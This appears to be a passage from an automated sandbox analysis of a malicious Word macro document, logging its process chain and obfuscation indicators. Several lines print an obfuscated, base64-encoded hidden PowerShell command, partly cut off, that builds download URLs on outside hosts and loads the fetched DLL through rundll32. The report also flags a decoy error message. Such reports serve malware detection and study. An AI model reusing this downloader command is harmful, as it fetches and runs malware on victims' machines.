AHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Slimgulabo\vhtbjtkrz.lpr',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bvjuzxolryfk\tucwdqbdtfe.wnx',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bsmdm\ghwk.vcj',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Anheubolw\yblyupae.she',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bwaqczxvcucs\mfqhcresmvq.yyb',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vvkklg\owmtf.xpy',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Eqlmzzdzvxl\jxrtnvzlrw.xix',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qjhyis\vvyps.icm',Control_RunDLL
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Slimgulabo\vhtbjtkrz.lpr',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bvjuzxolryfk\tucwdqbdtfe.wnx',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bsmdm\ghwk.vcj',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Anheubolw\yblyupae.she',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bwaqczxvcucs\mfqhcresmvq.yyb',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vvkklg\owmtf.xpy',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Eqlmzzdzvxl\jxrtnvzlrw.xix',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qjhyis\vvyps.icm',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: B:\cliprgn_src\Release\ClipRgn.pdb source: rundll32.exe, 00000007.00000002.2113030372.0000000010042000.00000002.00020000.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2106142374.0000000002A40000.00000002.00000001.sdmp
Source: info_2020_NJY_31940448.doc Initial sample: OLE summary subject = ADP Rubber Gorgeous Plastic Towels Buckinghamshire hard drive backing up orchid blue functionalities

Data Obfuscation:

barindex
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Source: info_2020_NJY_31940448.doc Stream path 'Macros/VBA/Xhlj9irufb65_wekzf' : High number of GOTO operations
Source: VBA code instrumentation OLE, VBA macro, High number of GOTO operations: Module Xhlj9irufb65_wekzf Name: Xhlj9irufb65_wekzf
Document contains an embedded VBA with many randomly named variables
Source: info_2020_NJY_31940448.doc Stream path 'Macros/VBA/Xhlj9irufb65_wekzf' : High entropy of concatenated variable names
Obfuscated command line found
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMA
PowerShell case anomaly found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK Jump to behavior
Suspicious powershell command line found
